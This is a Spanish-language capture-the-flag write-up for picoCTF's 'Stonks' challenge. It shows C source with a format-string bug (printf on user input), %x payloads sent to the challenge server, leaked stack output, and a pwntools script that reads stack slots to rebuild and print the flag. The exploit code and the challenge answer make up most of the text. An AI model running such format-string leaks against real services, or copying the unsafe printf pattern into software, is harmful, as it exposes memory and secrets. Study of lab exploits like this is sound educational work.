Stonks
4 minutos de lectura
Se nos proporciona el código fuente en C de un binario. El código es relativamente largo, por lo que se muestra la función más interesante:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4
typedef struct Stonks {
int shares;
char symbol[MAX_SYM_LEN + 1];
struct Stonks *next;
} Stonk;
typedef struct Portfolios {
int money;
Stonk *head;
} Portfolio;
int buy_stonks(Portfolio *p) {
if (!p) {
return 1;
}
char api_buf[FLAG_BUFFER];
FILE *f = fopen("api", "r");
if (!f) {
printf("Flag file not found. Contact an admin.\n");
exit(1);
}
fgets(api_buf, FLAG_BUFFER, f);
int money = p->money;
int shares = 0;
Stonk *temp = NULL;
printf("Using patented AI algorithms to buy stonks\n");
while (money > 0) {
shares = (rand() % money) + 1;
temp = pick_symbol_with_AI(shares);
temp->next = p->head;
p->head = temp;
money -= shares;
}
printf("Stonks chosen\n");
// TODO: Figure out how to read token from file, for now just ask
char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);
// TODO: Actually use key to interact with API
view_portfolio(p);
return 0;
}
Aquí tenemos una vulnerabilidad de Format String:
char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);
Vamos a probar en la instancia remota:
$ nc mercury.picoctf.net 16439
Welcome back to the trading app!
What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Buying stonks with token:
940c4b0.804b000.80489c3.f7f0ad80.ffffffff.1.940a160.f7f18110.f7f0adc7.0.940b180.1
Portfolio
1 shares of NXZ
1 shares of RZ
7 shares of V
8 shares of Q
1 shares of NOC
10 shares of PW
6 shares of BC
34 shares of AS
64 shares of MB
71 shares of VD
46 shares of F
73 shares of WM
145 shares of IPA
1395 shares of L
Goodbye!
Estos números hexadecimales son valores fugados de la pila (stack):
940c4b0.804b000.80489c3.f7f0ad80.ffffffff.1.940a160.f7f18110.f7f0adc7.0.940b180.1
Existe otro trozo de código útil en la función anterior:
char api_buf[FLAG_BUFFER];
FILE *f = fopen("api", "r");
if (!f) {
printf("Flag file not found. Contact an admin.\n");
exit(1);
}
fgets(api_buf, FLAG_BUFFER, f);
Básicamente, está cargando el contenido del archivo que contiene la flag (llamado api
) en la variable api_buf
. Como es una variable local, estará almacenada en la pila. Por tanto, la idea es fugar el valor de api_buf
utilizando la vulnerabilidad de Format String.
Una lista de formatos %x
funciona bien, pero para ser más específicos, podemos utilizar %1$x
para extraer el primer valor de la pila, %2$x
para el segundo y así sucesivamente.
Para ello, podemos utilizar un script en Python que coja los primeros 30 valores:
#!/usr/bin/env python3
from pwn import context, remote
def dump(n: int) -> str:
p = remote('mercury.picoctf.net', 16439)
p.sendlineafter(b'2) View my portfolio', b'1')
p.sendlineafter(b'What is your API token?', f'%{n}$x'.encode())
p.recvuntil(b'Buying stonks with token:\n')
leak = p.recvuntil(b'\n').decode()
p.close()
return leak.strip()
def main():
context.log_level = 'CRITICAL'
for i in range(30):
print(i + 1, dump(i + 1))
if __name__ == '__main__':
main()
$ python3 solve.py
1 99ca3f0
2 804b000
3 80489c3
4 f7f96d80
5 ffffffff
6 1
7 99dd160
8 f7efe110
9 f7f97dc7
10 0
11 9b85180
12 1
13 9d80410
14 87ca430
15 6f636970
16 7b465443
17 306c5f49
18 345f7435
19 6d5f6c6c
20 306d5f79
21 5f79336e
22 62633763
23 65616336
24 ffa3007d
25 f7f48af8
26 f7f94440
27 7249cc00
28 1
29 0
30 f7d9dbe9
Sabemos que las flags de picoCTF tienen un formato particular (picoCFT{...}
). Los primeros cuatro caracteres son pico
que en hexadecimal sería 0x6f636970
(formato little-endian). Este valor está en la posición 15 del resultado anterior.
El código ASCII para }
es 0x7d
que aparece en la posición 24. La flag está entre las posiciones 15 y 24. Como las posiciones no cambiarán, podemos tomar estos valores y decodificarlos byte por byte. De hecho, vamos a extraer hasta la posición 23, ya que en la 24 solo está }
y el byte nulo (que termina la cadena de caracteres en C):
def main():
flag = b''
for i in range(15, 24):
flag += p32(int(dump(i), 16))
flag += b'}'
print(f'Leaked flag: {flag.decode()}')
if __name__ == '__main__':
main()
Y aquí tenemos la flag:
$ python3 solve.py
Leaked flag: picoCTF{I_l05t_4ll_my_m0n3y_c7cb6cae}